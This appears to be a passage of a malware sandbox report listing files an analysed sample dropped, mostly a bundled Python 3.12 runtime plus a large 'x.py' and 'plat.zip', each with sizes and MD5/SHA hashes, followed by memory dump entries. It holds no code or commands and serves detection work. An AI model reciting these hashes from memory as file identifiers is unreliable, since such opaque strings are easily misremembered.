a03c5c17710c1ecafebca8b3066db41e1d682a619162da61d12f7f84c8ead35b49b6f390a473e23c41baff6072ffc6000a52345d5a1f73371b8711f470216b6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp9C24.tmp.dat

Filesize
148KB

MD5
90a1d4b55edf36fa8b4cc6974ed7d4c4

SHA1
aba1b8d0e05421e7df5982899f626211c3c4b5c1

SHA256
7cf3e9e8619904e72ea6608cc43e9b6c9f8aa2af02476f60c2b3daf33075981c

SHA512
ea0838be754e1258c230111900c5937d2b0788f90bbf7c5f82b2ceda7868e50afb86c301f313267eaa912778da45755560b5434885521bf915967a7863922ae2

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp9C46.tmp.dat

Filesize
5.0MB

MD5
d7d681193eeb9c3a7373bf8fa70d1989

SHA1
d3b69aaa1b33877695e2c00d09df30157f9a62c8

SHA256
7a71b7a8eb6615e8d00e1f5d5752981781b05c9a9f6f979034871f9585889ea2

SHA512
d6be6922db9341496aa186e06bc57326741d940cf26d62e661a53c1f697ee7d33aed7331e583523ad336181627d500020894df4e1901e24b10f4102f62a9738d

Download Submit
C:\Users\Admin\Downloads\Python\Launcher\py.exe

Filesize
748KB

MD5
79eae4fa8dd7e1ca489e59ab19b4fbed

SHA1
48eb42d40490ac4ce6c30245c631cc24718601c9

SHA256
e52553f941ceb9e715d239e7a211501ce5d6096eeeb90fb161b7bfedf6a61dab

SHA512
f8ae33f15f9fa00c7b5786119c452722edeb9fa39350e7087cd86ce732bbd0571dbe2c9b96ed813770e9401bf4bed53362659d763be66c85a68fa912dcb3c625

Download Submit
C:\Users\Admin\Downloads\Python\Launcher\pyshellext.amd64.dll

Filesize
49KB

MD5
740dcc24ba59f6205de3d5c5575a19a7

SHA1
2a911e51bb2571f5792c49008a2a2103fc0ed0ad

SHA256
6a4a987548a8fa13c8678fdae921c2084a92048e6002400d5c48d695c502e0bd

SHA512
e652043da39b4fe631e428d8422b642cf3bcab0b2068befa7056cfc8c601cfa95f7c6faa552f53dc3f773834d192b3eda7f69bdb78ece6bb0cb9278779cd8d24

Download Submit
C:\Users\Admin\Downloads\Python\Launcher\pyw.exe

Filesize
746KB

MD5
789952f58d76b2f41e8eadd9fae66906

SHA1
ab0324a701404a1818fd0c3e49f0706108f3c5ae

SHA256
3c92d3e88c5b9db5d0e655f72e20682b43c5e96cb939c0c7576883a10ade18fd

SHA512
fd380ff7c64576a112b994bdcb7e645c34d5d6378f1a921b2342ad7a00f57d7e8c485bba03c20a6e7b143493e83df7ea0cc31b31c763571ba7f0268d660d391a

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\_ctypes.pyd

Filesize
122KB

MD5
bbd5533fc875a4a075097a7c6aba865e

SHA1
ab91e62c6d02d211a1c0683cb6c5b0bdd17cbf00

SHA256
be9828a877e412b48d75addc4553d2d2a60ae762a3551f9731b50cae7d65b570

SHA512
23ef351941f459dee7ed2cebbae21969e97b61c0d877cfe15e401c36369d2a2491ca886be789b1a0c5066d6a8835fd06db28b5b28fb6e9df84c2d0b0d8e9850e

Download Submit
C:\Users\Admin\Downloads\Python\Python312\DLLs\libffi-8.dll

Filesize
38KB

MD5
0f8e4992ca92baaf54cc0b43aaccce21

SHA1
c7300975df267b1d6adcbac0ac93fd7b1ab49bd2

SHA256
eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a

SHA512
6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\base64.cpython-312.pyc

Filesize
23KB

MD5
6a425637cb61c65ae8cfe0d83e6e3b77

SHA1
d7615d5216ab6d69fbff349bf7e12fe5aa45c741

SHA256
575e9d22cf5e94a7c15044c45bd8f7c03fce5b8b92336651d57ea5e20da188f4

SHA512
84ca7a4f05bc5fbef41fde057dc10a6cc252c4a371b28657085766638a04beacff22c2ac1588d7b077cac6eebe5bfc7c8aadf4ce4f8468282c2a336f7b8d3e27

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\enum.cpython-312.pyc

Filesize
78KB

MD5
bb08f420f5dfd2344aa42e77cd36669c

SHA1
5e6f66233b1a85bfb8fa1812b8f3b1f63e68151c

SHA256
23440df45b19d66e0d6177162bb06eb02415cdb8b7ff3acc5bf8b17fd463b1f1

SHA512
c2811310838e4ba03211117bb06e8434633365959f9e29888450fcaff1d9de0349b65d91f7e3a6603ce9bcaf79e88f5b48e5c557575fda61e4569c8953c9c34a

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\functools.cpython-312.pyc

Filesize
39KB

MD5
a8cf4f3f701751740dac394fc396aec7

SHA1
73c5cc6c6d08080e788337494b2c39b9703423b6

SHA256
3334f1b6609e60a7c5b4d5630654de245ff9a5c8a7072671a850b4a2056319e9

SHA512
84e64b35e08e73dffc66d490c52f199fc10f13fab4aab5fd65cb0a1539f555bee6e3524fd353a468a637db165421a6854954e14674dbee12625a6300e092a323

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\keyword.cpython-312.pyc

Filesize
1KB

MD5
f54b9393d80136be78dcddae5e1d2aef

SHA1
2ae1577de2c4c448bb8b6c20e4a56268720d175e

SHA256
59dc1abb094e9a7cf5277a32ad4e0a285a6530713915627e1a2866f5847359de

SHA512
813e471182247c2f0c5e2f1cc49130d510fdce2eac3e214a2c63f3fba9f5f21a67f5b669997129cfa25e09465ae9e0b62bfe5da3100a87f95ad2701c6869b132

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\operator.cpython-312.pyc

Filesize
16KB

MD5
9439ffb1d4bbb5cc97e565e7431c4faf

SHA1
c929fec735d8281ef0e31961b2aae75a8de84b12

SHA256
7b691b1b0892c1ac26351847b8e4740cf395e0ef78900efc6d37290f68811691

SHA512
38844f9c8953641d1145d194d4f2700fa74865d6b6a1da5b5174081c610486266cd7cda770d0d366a5fa0186c55bbddb2cab399b9e921196579759a0b58f9ffb

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\reprlib.cpython-312.pyc

Filesize
9KB

MD5
7be37e702cfe628d2ff7ee74cef7b3ad

SHA1
e21ce6657e561806c8e1155486b97ae3bbeba3fb

SHA256
6924a3b72dea632fb8fce937e42259894262b13aa3f044c825c95cf942ee35aa

SHA512
bb0d7162fd65f640193b2c5164cb2e3c81a196c885b6a448cf8d3e0ce6769c1e052ad7bde89dec89c9c1ce0998535dbeebca321749f293f4a37e8a6c3c9603d3

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\struct.cpython-312.pyc

Filesize
364B

MD5
29ae69bad548bcb4adc79ed4bd7f073d

SHA1
4ce183af84f7cb3c428ef87d97c03c871417026d

SHA256
038ef897ce5864486e09285946d54c459421b7d10253565c1e2a13857d78b6a9

SHA512
fb90f1ddddadd634af51d8af4d0cd0a8b5011c754d068410bc723c3f6a442f8bdf8105d69f4f77539c5ffb8c446ece7dbcd84a2f40483d3b7f54fe4e76fb3e08

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\__pycache__\types.cpython-312.pyc

Filesize
14KB

MD5
c5d38a269d5b92e2bfde072a30c45e33

SHA1
23a0d92d7c87656b952439d7c8bba43049bd535e

SHA256
83437236d1d5c63d0e5ab989e104cd3bbce11ea2b3509bded6bac3376a360f5b

SHA512
7ff7179e86f9581d1f71459ca1c6959e0e9cfda2840f26df13f84fab36b823ca10fd5c3966209021348e723269f22afcc69cb089230c86ec5d2d6ae5c10cd505

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\base64.py

Filesize
20KB

MD5
231ae490d92466b1573e541649772154

SHA1
4e47769f5a3239f17af2ce1d9a93c411c195a932

SHA256
9e685425290c771df1a277b5c7787ad5d4cf0312f2c4b042ce44756df6a3d112

SHA512
7084b49f0788bfbe035bc2fe42db7a63b21ebc99f63c03f80dec5569067c1e63312d8c5a754f2d72d7c9bb51fa23ca479fcba78682610eb2b68870cbeae1bea3

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\collections\__init__.py

Filesize
52KB

MD5
251382c3e093c311a3e83651cbdbcc11

SHA1
28a9de0e827b37280c44684f59fd3fcc54e3eabd

SHA256
1eb4c4445883fd706016aca377d9e5c378bac0412d7c9b20f71cae695d6bb656

SHA512
010b171f3dd0aa676261a3432fe392568f364fe43c6cb4615b641994eb2faf48caabf3080edf3c00a1a65fc43748caaf692a3c7d1311b6c90825ffce185162b0

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\collections\__pycache__\__init__.cpython-312.pyc

Filesize
71KB

MD5
5ded9aebc5bb1b2b7d27443e6e0a9437

SHA1
32c060890716c8aced35c92e2e7ba23199a2fd7a

SHA256
8589a1421368d7b06c7ff575007d85b5cade092062f814b7aa4873c2beade5bc

SHA512
7509ef1cfc98629fb5916a2913225098d4a84ecd7bb2cac13df80486dc11b478d1e605b1e2bf3b9df89364049de1289269b48b389313937786be985088700af5

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\ctypes\__init__.py

Filesize
18KB

MD5
d0859d693b9465bd1ff48dfe865833a3

SHA1
978c0511ef96d959e0e897d243752bc3a33ba17c

SHA256
bb22c1bd20afd47d33fa6958d8d3e55bea7a1034da8ef2d5f5c0bff1225832c0

SHA512
093026a7978122808554add8c53a2ead737caf125a102b8f66b36e5fd677e4dc31a93025511fcf9d0533ad2491d2753f792b3517b4db0cfe0206e58a6d0e646c

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\ctypes\__pycache__\__init__.cpython-312.pyc

Filesize
22KB

MD5
e2b942b6814a6d1cad2e720a7b7c1bc6

SHA1
b1af27740ba54ff33ad8a788e0bea405e4053e7b

SHA256
2eb5ccbed547f4cb54bd86d1bbdd8a91bdb9f4d7758b09279ba6bca889ef4d5c

SHA512
5a0248bf8670f28d5c727d33e7d1857c91413a86e3420676c0e35d342252bd638485d25cc7c9e1f42a0cf18330c842f5a5efeb6bc8f1923620b52a99868215c8

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\ctypes\__pycache__\_endian.cpython-312.pyc

Filesize
3KB

MD5
0fda9dc9c51560c5455ddc99b95dcfe8

SHA1
46794653086d98b8d64eee575e7a04689beea63a

SHA256
4bed1c75e896df05229e609fd827d94a5382e92b158595141b487a70600d5c35

SHA512
7c110f406deafad91d00468d23c38cc0e76a189ded1e8d9491dc3692fbeb5887cad20ee10a0a97b989fdd67529b2fb8b5ad4e183d535dab1d0f1f254503c83c7

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\ctypes\_endian.py

Filesize
2KB

MD5
7daa213263c75057cf125267b7fdfbd3

SHA1
efb9403d8e3f09734f6b2ba3889b274997d0a039

SHA256
8c5b9ac7306dcf98856c9b815a5fc604ba0f47acab15ac47ad858499c6981579

SHA512
1e00f043ab8f3f77a81c8c6ea6760625bcdf2eccbef6432266f75e89f28778b48bd2709dbcf9d70a4a4e1384629aed31c7fdacdf4723fe18f36b6d9366b03921

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\__init__.py

Filesize
5KB

MD5
ea0e0d20c2c06613fd5a23df78109cba

SHA1
b0cb1bedacdb494271ac726caf521ad1c3709257

SHA256
8b997e9f7beef09de01c34ac34191866d3ab25e17164e08f411940b070bc3e74

SHA512
d8824b315aa1eb44337ff8c3da274e07f76b827af2a5ac0e84d108f7a4961d0c5a649f2d7d8725e02cd6a064d6069be84c838fb92e8951784d6e891ef54737a3

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\__pycache__\__init__.cpython-312.pyc

Filesize
5KB

MD5
5793df77b697f1109fe6473952792aca

SHA1
99d036fd2a4e438bfb89c5cf9fab62292d04d924

SHA256
6625882aff1d20e1101d79a6624c16d248a9f5bd0c986296061a1177413c36f3

SHA512
809eb8fc67657cc7e4635c27921fffa1d028424724542ef8272a2028f17259c11310e6e4ddfe8c4b2c795e536a40300ec6d6b282b126de90698716cde944e5ad

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\__pycache__\aliases.cpython-312.pyc

Filesize
12KB

MD5
1f1314b9020e3c6fe612e34124f9f2b0

SHA1
058c5eb8ff54f49905a5579ccdfccb38de087e97

SHA256
9c262190210f884f24e4d227cb6e4e9706b2909ff4ab18917bb9c86da0ddde26

SHA512
f1db57c6456def9001201e5db14523ab2cd97c6aba200699aff11a6e8d352009f072281fdec93cd764c4083778efeab2e34e1b0240b0938c4e0b10763b21bf76

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\__pycache__\cp1252.cpython-312.pyc

Filesize
3KB

MD5
d42473ce94dd1209f1a2b65e7cc79d8f

SHA1
56001bd8a180e758e23fa9ff6fe37ec5fc29b6dc

SHA256
d7dc1703ebe0364c99ed7c8b02423b80c2ee6f48f31023ca8b7b836e83dc50db

SHA512
a523186188060a51849627c3dda24d39b414fa613ae7ab3895ed9b108cc96843019bc2fa475462ef33490bac9ee3e76dd868e699055341f66821557141db478b

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\__pycache__\utf_8.cpython-312.pyc

Filesize
2KB

MD5
6f9bafab786fdd627c247fbe8e85de01

SHA1
ce99d8bfaa08e52be5dece42c851684458116988

SHA256
a225709104aa9d764c01de396add10bbcfb96a7ae019af69d8de81a683b1f245

SHA512
f53cce6e51e00cb120213810f74016fee82a62be4ed7b5fcdfaefa5f03eaca2e9fc01ad0b7e24860f82d8f2c34fd967e62aeeb04b6a59fe10553c36c96cc79b9

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\aliases.py

Filesize
15KB

MD5
ff23f6bb45e7b769787b0619b27bc245

SHA1
60172e8c464711cf890bc8a4feccff35aa3de17a

SHA256
1893cfb597bc5eafd38ef03ac85d8874620112514eb42660408811929cc0d6f8

SHA512
ea6b685a859ef2fcd47b8473f43037341049b8ba3eea01d763e2304a2c2adddb01008b58c14b4274d9af8a07f686cd337de25afeb9a252a426d85d3b7d661ef9

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\cp1252.py

Filesize
13KB

MD5
52084150c6d8fc16c8956388cdbe0868

SHA1
368f060285ea704a9dc552f2fc88f7338e8017f2

SHA256
7acb7b80c29d9ffda0fe79540509439537216df3a259973d54e1fb23c34e7519

SHA512
77e7921f48c9a361a67bae80b9eec4790b8df51e6aff5c13704035a2a7f33316f119478ac526c2fdebb9ef30c0d7898aea878e3dba65f386d6e2c67fe61845b4

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\encodings\utf_8.py

Filesize
1KB

MD5
f932d95afcaea5fdc12e72d25565f948

SHA1
2685d94ba1536b7870b7172c06fe72cf749b4d29

SHA256
9c54c7db8ce0722ca4ddb5f45d4e170357e37991afb3fcdc091721bf6c09257e

SHA512
a10035ae10b963d2183d31c72ff681a21ed9e255dda22624cbaf8dbed5afbde7be05bb719b07573de9275d8b4793d2f4aef0c0c8346203eea606bb818a02cab6

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\enum.py

Filesize
81KB

MD5
3a87f9629edad420beb85ab0a1c4482a

SHA1
30c4c3e70e45128c2c83c290e9e5f63bcfa18961

SHA256
9d1b2f7dd26000e03c483bc381c1af20395a3ac25c5fd988fbed742cd5278c9a

SHA512
e0aed24d8a0513e8d974a398f3ff692d105a92153c02d4d6b7d3c8435dedbb9482dc093eb9093fb86b021a28859ab541f444e8acc466d8422031d11040cd692a

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\functools.py

Filesize
38KB

MD5
3638d2608c42e3a3bf3b2b1c51b765f4

SHA1
be947a9b8301bbedf2406416ac908963279b46cd

SHA256
bd6f192c31c5e266ad9eec9f550b8bc485f90d583764ff81aa3f36d1209f005e

SHA512
14b60f0b5119b90fcd4db3b0aeb48ec4ca9775910470178796ba54c0d16f8887b9a3d283f925af779a1cc6bc99d25f016cccbf2bb72d4a9099bb821a54a2b418

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\keyword.py

Filesize
1KB

MD5
a10df1136c08a480ef1d2b39a1f48e4a

SHA1
fc32a1ff5da1db4755ecfae82aa23def659beb13

SHA256
1f28f509383273238ad86eda04a96343fa0dc10eeaf3189439959d75cdac0a0b

SHA512
603f6dc4556cbbd283cf77233727e269c73c6e1b528084e6c6234aefd538313b4acc67ca70a7db03e015a30f817fcfedda2b73de480963ae0eefd486f87463cd

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\operator.py

Filesize
11KB

MD5
dc7484406cad1bf2dc4670f25a22e5b4

SHA1
189cd94b6fdca83aa16d24787af1083488f83db2

SHA256
c57b6816cfddfa6e4a126583fca0a2563234018daec2cfb9b5142d855546955c

SHA512
ac55baced6c9eb24bc5ecbc9eff766688b67550e46645df176f6c8a6f3f319476a59ab6fc8357833863895a4ef7f3f99a8dfe0c928e382580dfff0c28ca0d808

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\re\__init__.py

Filesize
16KB

MD5
02f3e3eb14f899eb53a5955e370c839f

SHA1
e5c3ab0720b80a201f86500ccdc61811ab34c741

SHA256
778cdca1fe51cddb7671d7a158c6bdecee1b7967e9f4a0ddf41cfb5320568c42

SHA512
839fde2bfd5650009621752ccbceea22de8954bf7327c72941d5224dc2f495da0d1c39ba4920da6314efd1800be2dab94ac4ce29f34dc7d2705fcb6d5ab7b825

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\re\__pycache__\__init__.cpython-312.pyc

Filesize
17KB

MD5
dd2891a001b7a253aec124836d20a4b5

SHA1
91f34a7b0204aae4aacef46bb8ce8add60421d3d

SHA256
e71aac7c0a44cf181682c8887ab2139e5d894f94edde24085a26feecbefb77c9

SHA512
d88dc7450eec5742b9d21f95062cf04ebbf3712d6e20acd4eabafa3cc176d04980f92574a69f32dccbea0454e509660ac4f90e5e49becb54c4c0cd2ee3da2051

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\re\__pycache__\_compiler.cpython-312.pyc

Filesize
25KB

MD5
b8057c657205e3fad34b757cffbc705a

SHA1
b850217708595c7fb96e478e967ac3977f6e620a

SHA256
3278de7883a6e40a1ff99ce6168100d0bc271dcb8936e8514712d7a9744615de

SHA512
7d49012891bd6193687b829c75e92f7e960d55d95bd3e7a5d88f99d4c9e9de6830fff208b615fe49ff51939fc45fa0ac50003ba3f80b0e00de0285ace9eebf0e

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\re\__pycache__\_constants.cpython-312.pyc

Filesize
5KB

MD5
8702fb6e247bb26749410625e97ada68

SHA1
83f055a26b4f80eb0a53668fd90325571729c6e0

SHA256
6860fda0d34744596e9cb2e2935696be68c3266e0da083d42357b49beabd1581

SHA512
11a4ac136159fcf5c0075438d2d2b96b8c339e91426019e05d6a8dfaa3cbd8b32e2e3bcf0dd8a08acebf694e0f6124532d625fba11f0a695b4b8dda902987873

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\re\__pycache__\_parser.cpython-312.pyc

Filesize
41KB

MD5
09e5ce5d7ad36d1f247b39b7572ab088

SHA1
cdf17d6fa11ee3e289fb450981b45e17f9e3f6ed

SHA256
8afed5f696c04709f18f77ece3c0a23712bf6099e7d868d6f4dc6233e7470939

SHA512
5c6387153fbc4bbdc4a33eeec4ed24052e6a509148a5aa9b2c1fb20a0c4b909359e0581828c0163d63287372b2d10498184d386c2fe5b0f8f135599859282d12

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\re\_casefix.py

Filesize
5KB

MD5
8818057719ac1352408739df89c9a0e0

SHA1
03e5515c56dbbd68abed896e2b42baa9923c1518

SHA256
a1a8ce5d2051c96abb0c854f4a9c513c219e821f7285d28330f84eca71c341e2

SHA512
0b958d0e675369bd7e33faa449d21ae47cf61b1c37baefbc9f253da721be16a7f1df9a64d1b3b2566afb82081ea578e838f8abe39b5e676441b8ac613ab07748

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\re\_compiler.py

Filesize
26KB

MD5
aa86cb1709b99d49518abfa530d307d3

SHA1
e2ac0d860370beec9e027c6883f06855e32910fc

SHA256
7151ee39cffc73db023430de5d6d8f13bc8244255c831d5c2934fccc991ca5e0

SHA512
265d4cd3a695d0c81645aa80a6f0aabe827cb5413f3aa6946f8407d6eec3a1ffd57bc926fa478b8c60a8eb6d689852c0da8a197821c1c4514abbb303c5f770b1

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\re\_constants.py

Filesize
6KB

MD5
1b0146194381d2a4d1052457ae1a7a33

SHA1
b510d6df6a48b01199b7224182768c3188c6a036

SHA256
8df304954ca75dcd98b9f1f5e3cb5347adc6eaccfc461a94ab914e1b0085e9ab

SHA512
bd2c98db31b131c1754e9a3c0c11767cc5a1398578c88fdb3fb0af01585bc399135200a242e1727037dceae9fe986132ce1e074336d314fcd4d2360bcc8e3fc7

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\re\_parser.py

Filesize
41KB

MD5
6e6309cfa4c0c6c5e6f37bbb68fd899f

SHA1
289f658ddde22c543691110a059f2849219a545d

SHA256
bcc84f06d54e2d28506350a60bc1aaaa0efda4221f4ceeb05b2d0f48c712c479

SHA512
be01d8f17425ef1d8f338491de497cb9027fe8aeb0b357c8ddfc31c24f70b170c91759e1d36b2a118252d69b5a0800457c5bcbe3dbbcbfe24a0f6d42c1e0f913

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\reprlib.py

Filesize
6KB

MD5
dfda46ef7019ab30afa5183cf035263d

SHA1
b7cece019304f0c6836c148f85dd3c920c5cd654

SHA256
354fd4471a2d8c5972e67a38a8eb40040f12bd9b6acd260a889efed250770f0b

SHA512
62b6da4124537fe2e891aafe5e7c901368c6f498f5d0de83d524fa2653f9aec731bc8151790fcfe36900b65ff36bb0165142f074977e8b2c808bf0507257adb9

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\struct.py

Filesize
272B

MD5
5b6fab07ba094054e76c7926315c12db

SHA1
74c5b714160559e571a11ea74feb520b38231bc9

SHA256
eadbcc540c3b6496e52449e712eca3694e31e1d935af0f1e26cff0e3cc370945

SHA512
2846e8c449479b1c64d39117019609e5a6ea8030220cac7b5ec6b4090c9aa7156ed5fcd5e54d7175a461cd0d58ba1655757049b0bce404800ba70a2f1e12f78c

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\cjkencodings\shift_jis-utf8.txt

Filesize
1KB

MD5
cc34bcc252d8014250b2fbc0a7880ead

SHA1
89a79425e089c311137adcdcf0a11dfa9d8a4e58

SHA256
a6bbfb8ecb911d13581f7713391f8c0ceea1edd41537fdb300bbb4d62dd72e9b

SHA512
c6fb4a793870993a9f1310ce59697397e5334dbb92031ab49a3ecc33c55e84737e626e815754c5ddbe7835b15d3817bf07d2b4c80ea5fd956792b4db96c18c2f

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\__init__.py

Filesize
147B

MD5
c3239b95575b0ad63408b8e633f9334d

SHA1
7dbb42dfa3ca934fb86b8e0e2268b6b793cbccdc

SHA256
6546a8ef1019da695edeca7c68103a1a8e746d88b89faf7d5297a60753fd1225

SHA512
5685131ad55f43ab73afccbef69652d03bb64e6135beb476bc987f316afe0198157507203b9846728bc7ea25bc88f040e7d2cb557c9480bac72f519d6ba90b25

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\builtin\__main__.py

Filesize
62B

MD5
47878c074f37661118db4f3525b2b6cb

SHA1
9671e2ef6e3d9fa96e7450bcee03300f8d395533

SHA256
b4dc0b48d375647bcfab52d235abf7968daf57b6bbdf325766f31ce7752d7216

SHA512
13c626ada191848c31321c74eb7f0f1fde5445a82d34282d69e2b086ba6b539d8632c82bba61ff52185f75fec2514dad66139309835e53f5b09a3c5a2ebecff5

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_importlib\resources\namespacedata01\binary.file

Filesize
4B

MD5
37b59afd592725f9305e484a5d7f5168

SHA1
a02a05b025b928c039cf1ae7e8ee04e7c190c0db

SHA256
054edec1d0211f624fed0cbca9d4f9400b0e491c43742af2c5b0abebf0c990d8

SHA512
4ec54b09e2b209ddb9a678522bb451740c513f488cb27a0883630718571745141920036aebdb78c0b4cd783a4a6eecc937a40c6104e427512d709a634b412f60

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\test\test_pydoc\__init__.py

Filesize
138B

MD5
4a7dba3770fec2986287b3c790e6ae46

SHA1
8c7a8f21c1bcdb542f4ce798ba7e97f61bee0ea0

SHA256
88db4157a69ee31f959dccbb6fbad3891ba32ad2467fe24858e36c6daccdba4d

SHA512
4596824f4c06b530ef378c88c7b4307b074f922e10e866a1c06d5a86356f88f1dad54c380791d5cfda470918235b6ead9514b49bc99c2371c1b14dc9b6453210

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Lib\types.py

Filesize
11KB

MD5
8303d9715c8089a5633f874f714643a7

SHA1
cdb53427ca74d3682a666b83f883b832b2c9c9f4

SHA256
d7ce485ecd8d4d1531d8f710e538b4d1a49378afacb6ff9231e48c645a9fa95e

SHA512
1a6ca272dde77bc4d133244047fcc821ffcb3adee89d400fe99ece9cf18ab566732d48df2f18f542b228b73b3402a3cace3cd91a9e2b9480b51f7e5e598d3615

Download Submit
C:\Users\Admin\Downloads\Python\Python312\Scripts\pip3.12.exe

Filesize
105KB

MD5
ece8006a0714b569546a3f789638a55a

SHA1
520ba56fd30bcf1e08eefb390d392905c3470936

SHA256
e9059568c5f1200915f581cf582da6465d68a4b558972c6b5e3501f4aa63de7b

SHA512
bb8926c7938da517104afab2f34c8dfc3bfb8c64241770b6e36f1170b87059d32e9b81b9b0451735718e62be123c27f6a053630c85e1b5b21ede6aca7062fe5c

Download Submit
C:\Users\Admin\Downloads\Python\Python312\VCRUNTIME140.dll

Filesize
116KB

MD5
be8dbe2dc77ebe7f88f910c61aec691a

SHA1
a19f08bb2b1c1de5bb61daf9f2304531321e0e40

SHA256
4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83

SHA512
0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

Download Submit
C:\Users\Admin\Downloads\Python\Python312\python.exe

Filesize
100KB

MD5
3d44212bba2d7a88d6c83ce8523bba88

SHA1
62ea5374c17b0f2f88f7d4a6c03b592393dba6f8

SHA256
15b41a488c356c0e331facdea6c836a6cec021f12d5fde9844e7ca4a1aa0361a

SHA512
89297f1fbe811b23a38fc3dbc22989dfb9faf97960c65f1f0f43be710204b32f41f33ef0bb893815db71c4462d04b52f686b40801f6d4cbd8e529d740618ac67

Download Submit
C:\Users\Admin\Downloads\Python\Python312\python3.DLL

Filesize
66KB

MD5
79b02450d6ca4852165036c8d4eaed1f

SHA1
ce9ff1b302426d4c94a2d3ea81531d3cb9e583e4

SHA256
d2e348e615a5d3b08b0bac29b91f79b32f0c1d0be48976450042462466b51123

SHA512
47044d18db3a4dd58a93b43034f4fafa66821d157dcfefb85fca2122795f4591dc69a82eb2e0ebd9183075184368850e4caf9c9fea0cfe6f766c73a60ffdf416

Download Submit
C:\Users\Admin\Downloads\Python\Python312\x.py

Filesize
3.9MB

MD5
c714a5475996b806918eebaa65faa591

SHA1
1704b36a8ba096b517e3f2d4fa185a38185f7da9

SHA256
83be34edfc08c0be569ba4c6ced914322cb6689034746bbeb9167dcf717b82fa

SHA512
a8d83582dcb083be92655ffc9e748eb70f48cf84aab809bd9c363fb1b0edcf5ebf7562b2bff7c720e8354d2e3e1f12e6c30bedcb4f29ae362473972cbc6dd011

Download Submit
C:\Users\Admin\Downloads\plat.zip

Filesize
44.0MB

MD5
b89fae5d49909e5aed51e63b5971d3df

SHA1
5cadabd99df94ee4a1a6e743ab55ae15126a31ef

SHA256
4bb6ca3a4f3bd5f2357c983d7f767ee203112765e86ba38b017bb202b74e9853

SHA512
395b26ea9b61fe211b80079de9bfd18a430037a119638c0c1cc9b33b97b7b09bbcb46b5a3cb6479f7aee4209872e78fb03cfd796f1e6df490cb60ce45db5b198

Download Submit
\Users\Admin\Downloads\Python\Python312\python312.dll

Filesize
6.6MB

MD5
3c388ce47c0d9117d2a50b3fa5ac981d

SHA1
038484ff7460d03d1d36c23f0de4874cbaea2c48

SHA256
c98ba3354a7d1f69bdca42560feec933ccba93afcc707391049a065e1079cddb

SHA512
e529c5c1c028be01e44a156cd0e7cad0a24b5f91e5d34697fafc395b63e37780dc0fac8f4c5d075ad8fe4bd15d62a250b818ff3d4ead1e281530a4c7e3ce6d35

Download Submit
memory/1300-11687-0x000002E8A1150000-0x000002E8A1160000-memory.dmp

Filesize
64KB

Download
memory/1300-11693-0x000002E8A14C0000-0x000002E8A14D0000-memory.dmp

Filesize
64KB

Download
memory/2148-20-0x0000021920C20000-0x0000021920C30000-memory.dmp

Filesize
64KB

Download
memory/2148-39-0x000002191FCF0000-0x000002191FCF2000-memory.dmp

Filesize
8KB

Download
memory/2148-174-0x0000021929490000-0x0000021929491000-memory.dmp

Filesize
4KB

Download
memory/2148-173-0x0000021929480000-0x0000021929481000-memory.dmp

Filesize
4KB

Download
memory/2148-4-0x0000021920B20000-0x0000021920B30000-memory.dmp

Filesize
64KB

Download
memory/2488-11773-0x00000188CA8D0000-0x00000188CA8EE000-memory.dmp

Filesize
120KB

Download
memory/2488-11770-0x00000188E36D0000-0x00000188E3858000-memory.dmp

Filesize
1.5MB

Download
memory/2488-12635-0x00000188E3C60000-0x00000188E3CDA000-memory.dmp

Filesize
